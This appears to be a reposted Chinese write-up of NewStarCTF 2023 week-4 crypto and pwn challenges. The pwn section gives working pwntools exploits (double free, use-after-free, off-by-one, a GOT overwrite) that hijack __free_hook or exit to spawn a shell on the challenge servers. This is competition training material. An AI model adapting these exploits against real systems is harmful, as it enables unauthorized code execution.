[BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

news2024/11/16 3:20:47

再补完这个就基本上完了.

crypto

RSA Variation II

Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

N = p*p*q

d= inverse(N, (p-1)*(q-1)//GCD(p-1, q-1))

m = bytes_to_long(flag)

c = pow(m, N, N)

print('c =', c)
print('N =', N)
print('d =', d)

c = 1653396627113549535760516503668455111392369905404419847336187180051939350514408518095369852411718553340156505246372037811032919080426885042549723125598742783778413642221563616358386699697645814225855089454045984443096447166740882693228043505960011332616740785976743150624114653594631779427044055729185392854961786323215146318588164139423925400772680226861699990332420246447180631417523181196631188540323779487858453719444807515638025771586275969579201806909799448813112034867089866513864971414742370516244653259347267231436131850871346106316007958256749016599758599549180907260093080500469394473142003147643172770078092713912200110043214435078277125844112816260967490086038358669788006182833272351526796228536135638071670829206746835346784997437044707950580087067666459222916040902038574157577881880027391425763503693184264104932693985833980182986816664377018507487697769866530103927375926578569947076633923873193100147751463
N = 1768427447158131856514034889456397424027937796617829756303525705316152314769129050888899742667986532346611229157207778487065194513722005516611969754197481310330149721054855689646133721600838194741123290410384315980339516947257172981002480414254023253269098539962527834174781356657779988761754582343096332391763560921491414520707112852896782970123018263505426447126195645371941116395659369152654368118569516482251442513192892626222576419747048343942947570016045016127917578272819812760632788343321742583353340158009324794626006731057267603803701663256706597904789047060978427573361035171008822467120148227698893238773305320215769410594974360573727150122036666987718934166622785421464647946084162895084248352643721808444370307254417501852264572985908550839933862563001186477021313236113690793843893640190378131373214104044465633483953616402680853776480712599669132572907096151664916118185486737463253559093537311036517461749439
d = 20650646933118544225095544552373007455928574480175801658168105227037950105642248948645762488881219576174131624593293487325329703919313156659700002234392400636474610143032745113473842675857323774566945229148664969659797779146488402588937762391470971617163496433008501858907585683428652637958844902909796849080799141999490231877378863244093900363251415972834146031490928923962271054053278056347181254936750536280638321211545167520935870220829786490686826062142415755063724639110568511969041175019898031990455911525941036727091961083201123910761290998968240338217895275414072475701909497518616112236380389851984377079

#-------------------------------------
#Schmidt-Samoa密码系统
pq = gcd(pow(2,d*N,N)-2,N)

m = pow(c,d,pq)
print(n2s(m))
#flag{l3arn_s0m3_e1ement4ry_numb3r_the0ry}

babyNTRU

NTRU又一个格的基本应用

from secret import flag
from Crypto.Util.number import *

q = getPrime(2048)

f = getPrime(1024)
g = getPrime(768)

h = (inverse(f, q) * g) % q

m = bytes_to_long(flag)

e = (getPrime(32) * h + m) % q

print((h, q))
print(e)

h,p = (8916452722821418463248726825721257021744194286874706915832444631771596616116491775091473142798867278598586482678387668986764461265131119164500473719939894343163496325556340181429675937641495981353857724627081847304246987074303722642172988864138967404024201246050387152854001746763104417773214408906879366958729744259612777257542351501592019483745621824894790096639205771421560295175633152877667720038396154571697861326821483170835238092879747297506606983322890706220824261581533324824858599082611886026668788577757970984892292609271082176311433507931993672945925883985629311514143607457603297458439759594085898425992, 31985842636498685945330905726539498901443694955736332073639744466389039373143618920511122288844282849407290205804991634167816417468703459229138891348115191921395278336695684210437130681337971686008048054340499654721317721241239990701099685207253476642931586563363638141636011941268962999641130263828151538489139254625099330199557503153680089387538863574480134898211311252227463870838947777479309928195791241005127445821671684607237706849308372923372795573732000365072815112119533702614620325238183899266147682193892866330678076925199674554569018103164228278742151778832319406135513140669049734660019551179692615505961)
c = 20041713613876382007969284056698149007154248857420752520496829246324512197188211029665990713599667984019715503486507126224558092176392282486689347953069815123212779090783909545244160318938357529307482025697769394114967028564546355310883670462197528011181768588878447856875173263800885048676190978206851268887445527785387532167370943745180538168965461612097037041570912365648125449804109299630958840398397721916860876687808474004391843869813396858468730877627733234832744328768443830669469345926766882446378765847334421595034470639171397587395341977453536859946410431252287203312913117023084978959318406160721042580688
'''
h = g*f^-1 (mod p)  ==>  fh = g (mod p)
c = r*h + m (mod p) ==> cf = rg +mf

   | 1  h |
   | 0  p |
   
'''
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);

# Solve SVP.  f*h = g (mod p) 求f,g
shortest_vector = m.LLL()[0]
# shortest_vector = GaussLatticeReduction(v1, v2)[0]
f, g = shortest_vector
print(f, g)

# Decrypt.
mf = f*c % p % g
m = mf * inverse_mod(f, g) % g
print(bytes.fromhex(hex(m)[2:]))
#flag{Lattice_reduction_magic_on_NTRU#82b08b2d}

 

Smart

当E.order() == p时

from Crypto.Util.number import *
from sage.all import *
from secret import flag

p = 75206427479775622966537995406541077245842499523456803092204668034148875719001
a = 40399280641537685263236367744605671534251002649301968428998107181223348036480
b = 34830673418515139976377184302022321848201537906033092355749226925568830384464

E = EllipticCurve(GF(p), [a, b])

d = bytes_to_long(flag)

G = E.random_element()

P = d * G

print(G)
print(P)

# (63199291976729017585116731422181573663076311513240158412108878460234764025898 : 11977959928854309700611217102917186587242105343137383979364679606977824228558 : 1)
# (75017275378438543246214954287362349176908042127439117734318700769768512624429 : 39521483276009738115474714281626894361123804837783117725653243818498259351984 : 1)
G = (63199291976729017585116731422181573663076311513240158412108878460234764025898 , 11977959928854309700611217102917186587242105343137383979364679606977824228558)
P = (75017275378438543246214954287362349176908042127439117734318700769768512624429 , 39521483276009738115474714281626894361123804837783117725653243818498259351984)
G = E(G)
P = E(P)

#E.order() == p 
m = SmartAttack(G,P,p)
from Crypto.Util.number import long_to_bytes
long_to_bytes(int(m))
b'flag{m1nd_y0ur_p4rameter#167d}'

 

signin

p-1光滑时的分解

from Crypto.Util.number import isPrime,bytes_to_long, sieve_base
from random import choice
from secret import flag
 
m=bytes_to_long(flag)
def uniPrime(bits):
    while True:
        n = 2
        while n.bit_length() < bits:
            n *= choice(sieve_base)
        if isPrime(n + 1):
            return n + 1
 
 
p=uniPrime(512)
q=uniPrime(512)
n=p*q
e= 196608
c=pow(m,e,n)
 
print("n=",n)
print("c=",c)
 

n= 3326716005321175474866311915397401254111950808705576293932345690533263108414883877530294339294274914837424580618375346509555627578734883357652996005817766370804842161603027636393776079113035745495508839749006773483720698066943577445977551268093247748313691392265332970992500440422951173889419377779135952537088733
c= 2709336316075650177079376244796188132561250459751152184677022745551914544884517324887652368450635995644019212878543745475885906864265559139379903049221765159852922264140740839538366147411533242116915892792672736321879694956051586399594206293685750573633107354109784921229088063124404073840557026747056910514218246

此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次 

#p-1光滑
N = n
a = 2
n = 2
while True:
    a = pow(a, n, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q1 = N // res
        p1 = res
        print(p1)
        print(q1)
        break
    n += 1

p = 11104262127139631006017377403513327506789883414594983803879501935187577746510780983414313264114974863256190649020310407750155332724309172387489473534782137699
q =299589109769881744982450090354913727490614194294955470269590615599558785111624291036465332556249607131912597764625231248581361283506625311199114064303807167
phi = (p-1)*(q-1)
d = invert(3,phi)
mm = pow(c,d,n)
#e = 3*0x10000
#再对mm开0x10000
x0=invert(p,q)
x1=invert(q,p)
cs = [mm]
for i in range(16):
    ms = []
    for c2 in cs:
        r = pow(c2, (p + 1) // 4, p)
        s = pow(c2, (q + 1) // 4, q)
        x = (r * x1 * q + s * x0 * p) % n
        y = (r * x1 * q - s * x0 * p) % n
        if x not in ms:
            ms.append(x)
        if n - x not in ms:
            ms.append(n - x)
        if y not in ms:
            ms.append(y)
        if n - y not in ms:
            ms.append(n - y)
    cs = ms

for m in ms:
    flag = long_to_bytes(m)
    print(flag)
#flag{new1sstar_welcome_you}

 

error

求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

对于总是 B = A*x + e 可以先用格求出B-e再用矩阵求x

from sage.all import *
from secret import flag
import random
data = [ord(x) for x in flag]

mod = 0x42
n = 200
p = 5
q = 2**20

def E():
  return vector(ZZ, [1 - random.randint(0,p) for _ in range(n)])

def creatematrix():
  return matrix(ZZ, [[q//2 - random.randint(0,q) for _ in range(n)] for _ in range(mod)])

A, B, C= creatematrix(), creatematrix(), creatematrix()
x = vector(ZZ, data[0:mod])
y = vector(ZZ, data[mod:2*mod])
z = vector(ZZ, data[2*mod:3*mod])
e = E()
b = x*B+y*A+z*C + e
res = ""
res += "A=" + str(A) +'\n'
res += "B=" + str(B) +'\n'
res += "C=" + str(C) +'\n'
res += "b=" + str(b) +'\n'

with open("enc.out","w") as f:
  f.write(res)
#b = v*M + e 
M = matrix(ZZ,mod*3+1,n+1)
for i in range(mod):
    for j in range(n):
        M[i,j] = A[i][j]
        M[i+mod,j] = B[i][j]
        M[i+2*mod,j] = B[i][j]
        
for i in range(n):
    M[-1,i] = b[i]
M[-1,-1] = 1

s = M.LLL()
for v in s:
    if v[0] == 0 or v[-1]!=0: continue
    flag = M.solve_left(v)
    print(bytes([i for i in flag]))

 

PWN

Double

double 释放同一个块两次,在建第3次的时候会使用第1次写入的指针,达到任意地址写

from pwn import *

#p = process('./Double')
p = remote('node4.buuoj.cn', 26153)
context(arch='amd64', log_level='debug')

def add(idx, msg):
    p.sendlineafter(b">", b'1')
    p.sendlineafter(b"Input idx\n", str(idx).encode())
    p.sendafter(b"Input content", msg)

def free(idx):
    p.sendlineafter(b">", b'2')
    p.sendlineafter(b"Input idx\n", str(idx).encode())

'''
0x602060 <check_num>:   0x0000000000000000      0x0000000000000031
0x602070 <check_num+16>:        0x0000000000000000      0x0000000000000000
0x602080 <check_num+32>:        0x0000000000000000      0x0000000000000000
'''
add(0, b'A')
add(1, b'A')
free(0)
free(1)
free(0)
add(2,p64(0x602060))
add(3,b'A')
add(4,b'A')
add(5,p64(0x666))

p.sendlineafter(b">", b'3')

p.interactive()

game

每次+0x10000,计算到一个偏移让puts-v3-v7 == system,这里有个小坑,+0x10000 四次可以得到system,但是再加v3的时候,由于v3是短整形,不足以变成system,不过system泄露对咱们来说没用,可以通过libc得到,如果不给libc还可以通过一次失败得到相应版本,相出相对偏移就行,不需要泄露.

from pwn import *

libc = ELF('./libc-2.31.so')

#p = process('./game')
p = remote('node4.buuoj.cn', 26601)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x5555555554dd\nc")

p.sendlineafter("请选择你的伙伴\n".encode(), b'1')
p.sendlineafter("2.扣2送kfc联名套餐\n".encode(), b'2')
p.sendafter("你有什么想对肯德基爷爷说的吗?\n".encode(), b'/bin/sh\x00')  #v6=0

for i in range(3):
    p.sendlineafter("2.扣2送kfc联名套餐\n".encode(), b'1')

p.sendlineafter("2.扣2送kfc联名套餐\n".encode(), b'3')
#v3 = libc.sym['puts'] - libc.sym['system'] - 0x40000
#print(f"{v3:x}")
p.sendlineafter(b"you are good mihoyo player!", b'-56944')
p.sendline(b'cat flag')
p.interactive()

 

ezheap

有管理块,管理块上有指针指向数据块.在释放时只释放管理块并不清理指针可以UAF,由于管理块固定0x30所以不能直接释放得到main_arena,由于有UAF可以先释放两个块,再建与管理块相同的数据块会占用原管理块位置控制原管理块的指针,达到任意地址写

 先修改一个头为441释放到unsort(libc-2.31在释放的时候会检查尾部是否合法,所以要弄个0x31+0x411的结构)然后再将这个指针指到__free_hook将system写到上边再释放写着/bin/sh的块

from pwn import *

libc = ELF('./libc-2.31.so')

#p = process('./ezheap')
p = remote('node4.buuoj.cn', 28508)
context(arch='amd64', log_level='debug')

def add(idx, size, msg=b'A'):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"enter idx(0~15): \n", str(idx).encode())
    p.sendlineafter(b"enter size: \n", str(size).encode())
    p.sendlineafter(b"write the note: \n", msg)

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"enter idx(0~15): \n", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"enter idx(0~15): \n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"enter idx(0~15): \n", str(idx).encode())
    p.sendlineafter(b"enter content: \n", msg)

add(0, 0x400)
add(1, 0x50)
add(2, 0x50)
add(3, 0x50)

free(3)
free(1)
free(2)
add(4, 0x20) # 4=2->1

show(4)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x841
print(f"{ stack = :x}")

edit(4, flat(0x50,0,0, stack+0x290))
edit(1, flat(0, 0x441))
free(0)

edit(4, flat(0x50,0,0, stack+0x2a0))
show(1)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{ libc.address = :x}")

edit(4, flat(0x50,0,0, libc.sym['__free_hook']))
edit(1, p64(libc.sym['system']))
edit(4, b'/bin/sh\x00')

free(1)
p.interactive()

#gdb.attach(p)
#pause()

message_board

在board里用-绕过,将栈内残留泄露出来,利用指针前溢出,往got[exit]里写one_gadget

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  int v4; // [rsp+28h] [rbp-8h] BYREF
  int i; // [rsp+2Ch] [rbp-4h]

  init(argc, argv, envp);
  board();
  for ( i = 0; i <= 1; ++i )
  {
    puts("You can modify your suggestions");
    __isoc99_scanf("%d", &v4);
    puts("input new suggestion");
    __isoc99_scanf("%d", &v3);
    a[v4] = v3;
  }
  exit(0);
}


int (**board())(const char *s)
{
  int (**result)(const char *); // rax
  int v1; // [rsp+4h] [rbp-9Ch] BYREF
  __int64 v2[18]; // [rsp+8h] [rbp-98h] BYREF
  int i; // [rsp+9Ch] [rbp-4h]

  puts("Do you have any suggestions for us");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 15 )
  {
    puts("no!");
    exit(0);
  }
  for ( i = 0; i < v1; ++i )
  {
    __isoc99_scanf("%ld", &v2[i + 1]);
    printf("Your suggestion is %ld\n", v2[i + 1]);
  }
  puts("Now please enter the verification code");
  __isoc99_scanf("%ld", v2);
  result = &puts;
  if ( (int (**)(const char *))v2[0] != &puts )
    exit(0);
  return result;
}
from pwn import *

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25541)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

#gdb.attach(p, "b*0x401399\nc")

p.sendlineafter(b"Do you have any suggestions for us\n", b'2')
p.sendline(b'-')
p.recvline()

p.sendline(b'-')
libc.address = int(p.recvline().strip().split(b' ')[-1]) - libc.sym['_IO_2_1_stderr_']
print(f"{ libc.address = :x}")

p.sendlineafter(b'Now please enter the verification code\n', str(libc.sym['puts']).encode())

one = [0xe3afe, 0xe3b01, 0xe3b04]

o = p64(libc.address + one[1])
print(o.hex())
o1 = u32(o[:4])
o2 = u32(o[4:])
p.sendlineafter(b"You can modify your suggestions", str(-28).encode())
p.sendlineafter(b"input new suggestion", str(o1).encode())

p.sendlineafter(b"You can modify your suggestions", str(-27).encode())
p.sendlineafter(b"input new suggestion", str(o2).encode())


p.interactive()

 

god_of_change

add有个off_by_one,由于只能溢出1字节,可先修改大一个,再用这个修改后边的块

建 20,20,40,80*8,80 用0修改1为61(包含2)再用1修改2为441就可以和后边的8个80组成440释放得到libc,再通过这个重叠块改tcache指针到__free_hook写system

from pwn import *

libc = ELF('./libc-2.31.so')

#p = process('./god')
p = remote('node4.buuoj.cn', 28025)
context(arch='amd64', log_level='debug')

def add(size, msg=b'A'):
    p.sendlineafter(b"Your Choice: ", b'1')
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"the content: \n", msg)

def free(idx):
    p.sendlineafter(b"Your Choice: ", b'3')
    p.sendlineafter(b"idx: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"Your Choice: ", b'2')
    p.sendlineafter(b"idx: \n", str(idx).encode())
    p.recvline()

add(0x18)
add(0x18)
add(0x38)
for i in range(9):
    add(0x78)

free(0)
add(0x18, b'\x00'*0x18 + p8(0x61))
free(1)
add(0x58, flat(0,0,0, 0x441))

free(2)
add(0x38)

show(3)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(0x38) 
free(3)
free(2)
free(1)
add(0x58, flat(b'/bin/sh\x00',0,0,0x41, libc.sym['__free_hook']))

add(0x38)
add(0x38, p64(libc.sym['system']))

free(1)
p.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1151260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cause: java.lang.numberformatexception: for input string

一个十分粗心的错误 我本来想要写的是name不为空&#xff0c;并且不为空字符串&#xff0c;结果不小心写成了空格&#xff01; 解决方案&#xff1a;将空格改为空字符串即可

JMeter的使用——傻瓜式学习【中】

目录 前言 1、JMeter参数化 1.1、什么是参数化 1.2、用户定义的变量 1.2.1、什么时候使用用户定义的变量 1.2.2、使用“用户定义的变量”进行参数化的步骤&#xff1a; 1.2.3、案例 1.3、用户参数 1.3.1、什么时候使用用户参数&#xff1f; 1.3.2、使用“用户参数”进…

交叉编译工具链(以STM32MP1为例)

1.什么是交叉编译工具链&#xff1f; 在一个系统上进行编译&#xff0c;在另一个系统上进行执行 2.STM32MP1交叉编译工具链 3.交叉编译器内容 4.两种工具链模式 5.两种链接模式 6.工具使用 注意&#xff1a;OpenSTLinux已经提供了编译框架&#xff0c;不需要命令行手工编译 …

Spring Cloud 实战 | 解密Feign底层原理,包含实战源码

专栏集锦&#xff0c;大佬们可以收藏以备不时之需 Spring Cloud实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9270827.html Python 实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9271194.html Logback 详解专栏&#xff1a;https:/…

在VM虚拟机上安装centos并了解Linux常用命令

一. centos安装 新建一个虚拟机&#xff0c;使用ISO映像文件&#xff08;在浏览器上直接搜索阿里云镜像站&#xff0c;下载合适的镜像文件&#xff09; 安装后设置密码然后重启 重启后输入账号和密码 查看IP 输入命令&#xff1a; vi ifcfg-ens33&#xff0c;进入编辑界面&a…

物联网AI MicroPython传感器学习 之 PAJ7620手势识别传感器

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; 一、产品简介 手势识别传感器PAJ7620u2是一款集成3D手势识别和运动跟踪为一体的交互式传感器&#xff0c;传感器可以在有效范围内识别手指的顺时针/逆时针转动方向和手指的运动方向等。它可以识别13种手势&a…

STM32的RTC模块的难点推导

在 S T M 32 STM32 STM32的 R e a l t i m e c l o c k , R T C Real\quad time\quad clock,RTC Realtimeclock,RTC模块中有一些功能点不太好理解&#xff0c;下面我根据我自己对这些功能难点的理解来做一些推导并记录如下。 首先来看一下平滑数字校准。假设我们目前的 R …

万字解析设计模式之原型模式与建造者模式

一、原型模式 1.1概述 原型模式是一种创建型设计模式&#xff0c;其目的是使用已有对象作为原型来创建新的对象。原型模式的核心是克隆&#xff0c;即通过复制已有对象来创建新对象&#xff0c;而不是通过创建新对象的过程中独立地分配和初始化所有需要的资源。这种方式可以节…

CMT2310A一款低功耗高性能Sub-1GHz射频收发器芯片

CMT2310A是一款超低功耗,高性能&#xff0c;适用于各种113至960 MHz无线应用的00K&#xff0c;(G)FSK 和4(G)FSK 射频收发器。它是CMOSTEK NextGenRFTM 射频产品线的一部分&#xff0c;这条产品线包含完整的发射器&#xff0c;接收器和收发器。CMT2310A的高集成度&#xff0c;简…

npm package.json属性详解

npm package.json属性详解 概述 package.json必须是一个严格的json文件&#xff0c;而不仅仅是js里边的一个对象。其中很多属性可以通过npm-config来生成 name package.json中最重要的属性是name和version两个属性&#xff0c;这两个属性是必须要有的&#xff0c;否则模块就…

【机器学习(二) 线性代数基础I(Linear Algebra Foundations)】

机器学习&#xff08;二&#xff09; 线性代数基础I&#xff08;Linear Algebra Foundations) 这一节主要介绍一些线性代数的基础。 目录 机器学习&#xff08;二&#xff09; 线性代数基础I&#xff08;Linear Algebra Foundations)1. 向量 Vectors2. 复杂度 Complexity3.线…

基于3D点云的语义分割模型调研(最新更新2023.10.30)

文章目录 3D点云分割数据集点云模型的评价指标3D点云语义分割方法发展PointSIFT模型的效果 https://blog.csdn.net/toCVer/article/details/126265782 基于深度学习的三维点云分割综述 3D点云分割数据集 传统的点云分割方法包括基于边缘检测的方法、基于区域增长的算法、基于特…

【Linux】:Linux开发工具之Linux编辑器vim的使用

&#x1f52b;1.Linux编辑器-vim使用 &#x1f4e4; vi/vim的区别简单点来说&#xff0c;它们都是多模式编辑器&#xff0c;不同的是vim是vi的升级版本&#xff0c;它不仅兼容vi的所有指令&#xff0c;而且还有一些新的特性在里面。例如语法加亮&#xff0c;可视化操作不仅可以…

deepsort算法 卡尔曼滤波 匈牙利算法

目标追踪最核心的两个算法就是卡尔曼滤波和匈牙利算法算法。 卡尔曼滤波&#xff1a;根据当前帧中的轨迹预测下一帧的轨迹。匈牙利算法:将预测的目标位置与检测到的目标位置进行匹配&#xff0c;实现对目标的准确跟踪。Sort算法 Sort算法分为以下几个步骤&#xff1a; 1.卡尔曼…

AS/400-物理文件-02

物理文件 - Physical file Physical file物理文件中的条目级别相关命令 Physical file 简介物理文件 这是一个文件。包含预定义的结构化格式的数据。它是PF类型。通过使用CRTPF命令创建PF。PF中包含的字段的最大数量为8000。最多包含120个关键字段。 PF 的结构如下 TYPE SPECIF…

【C++】多态 ⑥ ( 函数重定义涉及的问题 - 子类覆盖父类函数名 )

文章目录 一、函数重定义涉及的问题1、执行出错的代码2、代码分析3、错误原因分析 - 函数重定义问题 : 子类覆盖父类函数名4、正确调用函数的方法 一、函数重定义涉及的问题 1、执行出错的代码 错误代码示例 : #include "iostream" using namespace std;// 父类 cla…

Openssl数据安全传输平台014:OCCI环境搭建和使用:Centos8-Oracle19c代码跑通 + Window代码没跑通(不影响本项目)

文章目录 0 代码仓库1 启动Centos oracle数据库2 Winsows安装配置OCCI库2.1 下载文件2.2 VS 配置2.2.1 VC包含目录2.2.2 VC库目录2.2.3 连接器-附加依赖项2.2.4 代码测试-Oracle11g2.2.4.1 准备2.2.4.2 代码测试 3 Centos安装配置occi库3.0 强调3.1 下载instantclient库文件压缩…

国产思仪 1765A/B/C/D/E程控直流电源

1765A/B/C/D/E程控直流电源 产品综述 1765系列程控直流电源主要用于储能设备系统的测量分析和自动测试系统的加电测试。作为一种双象限直流电源&#xff0c;将电源输出和功率吸收的功能完全集成到单一系统中&#xff0c;可实现电源与负载功能的无缝转换&#xff0c;解决双向能源…

RT-Thread 内存管理(一)

内存管理 在计算系统中&#xff0c;通常存储空间可以分为两种&#xff1a;内部存储空间和外部存储空间。 内部存储空间通常访问速度比较快&#xff0c;能够按照变量地址随机访问&#xff0c;也就是我们通常所说的RAM&#xff08;随机访问存储器&#xff09;&#xff0c;可以把…

Linux gzip命令:压缩文件或目录

gzip 是 Linux 系统中经常用来对文件进行压缩和解压缩的命令&#xff0c;通过此命令压缩得到的新文件&#xff0c;其扩展名通常标记为“.gz”。 再强调一下&#xff0c;gzip 命令只能用来压缩文件&#xff0c;不能压缩目录&#xff0c;即便指定了目录&#xff0c;也只能压缩目录…